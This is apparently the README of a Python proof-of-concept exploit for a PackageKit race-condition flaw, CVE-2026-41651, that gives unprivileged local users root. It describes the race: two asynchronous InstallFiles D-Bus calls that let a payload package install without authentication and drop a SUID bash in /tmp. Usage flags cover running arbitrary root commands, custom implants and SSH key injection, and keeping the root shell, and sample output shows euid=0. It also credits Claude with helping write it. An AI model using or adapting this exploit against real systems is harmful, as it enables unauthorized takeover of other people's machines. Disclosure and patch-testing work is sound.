Python PoC of the PackageKit TOCTOU Local Privilege Escalation exploit. Any local unprivileged user can install arbitrary packages as root with no authentication.
| Field | Value |
|---|---|
| CVE | CVE-2026-41651 |
| Component | PackageKit daemon (packagekitd) |
| Affected versions | 1.0.2 – 1.3.4 |
| Fixed in | 1.3.5 |
| Impact | Local Privilege Escalation → root |
This tool is provided for educational and authorized security research purposes only.
Vulnerable OS: Any Linux distribution running PackageKit >= 1.0.2 <= 1.3.4.
PoC limitation: the built-in package builder only produces
.debfiles, so the script requires a Debian/Ubuntu host to run as-is. On RPM-based systems, supply a custom postinst payload via--payload-scriptand ensuredpkg/dpkg-devis available, or adapt the builder.
Python: 3.6+
System packages (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0Note on dependencies:
python3-dbusandpython3-giare not Python stdlib, but they are almost always already present on any machine running a graphical desktop environment (GNOME, KDE, XFCE, etc.), because these environments depend on them directly. On a standard Ubuntu Desktop install both libraries are available without any manual installation. On a minimal server without a GUI they may be absent, so in that case theapt installabove requires sudo, which contradicts the LPE context. In practice, any machine running PackageKit with a desktop session will already have these dependencies satisfied.
gir1.2-glib-2.0provides the GObject Introspection typelib files for GLib.python3-giis the Python binding engine, but it needs these typelib files to know how to talk to GLib specifically. Without this package,from gi.repository import GLibfails even ifpython3-giis installed. Both are pulled in automatically by any GNOME-based desktop.
Note on the stdlib-only attempt: A previous version of this PoC attempted to remove these dependencies entirely by replacing the D-Bus calls with
gdbus/dbus-sendsubprocesses, then by speaking the D-Bus wire protocol directly over the Unix socket. Both approaches failed to reliably trigger the TOCTOU race: spawning external processes introduces enough latency between the twoInstallFilescalls that PackageKit processes Step 1 before Step 2 arrives, breaking the race. Thedbus-pythonbinding sends both calls fire-and-forget on the same already-open socket with no fork overhead, which is what makes the timing work. The stdlib-only version has been reverted for this reason.
Verify PackageKit version (without the poc):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^iiusage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
| Flag | Description |
|---|---|
--check |
Query PackageKit version and report vulnerability, then exit |
--exec CMD |
Run a single command as root instead of opening an interactive shell |
--payload-script FILE |
Use a custom postinst script instead of the built-in SUID bash dropper |
--suid-path PATH |
Where to drop the SUID bash (default: /tmp/.suid_bash) |
--no-cleanup |
Keep the SUID bash after the shell exits |
--timeout N |
Seconds to poll for the SUID bash (default: 120) |
--quiet |
Suppress progress output (for scripting) |
Examples:
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check
# Full exploit → interactive root shell
python3 cve-2026-41651.py
# Run a single command as root
python3 cve-2026-41651.py --exec "id"
# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quietExpected output:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Based on the original C PoC by Vozec. This is a Python rewrite for portability. All credit for the exploit technique goes to the original author.
Python rewrite developed with the assistance of Claude (Anthropic).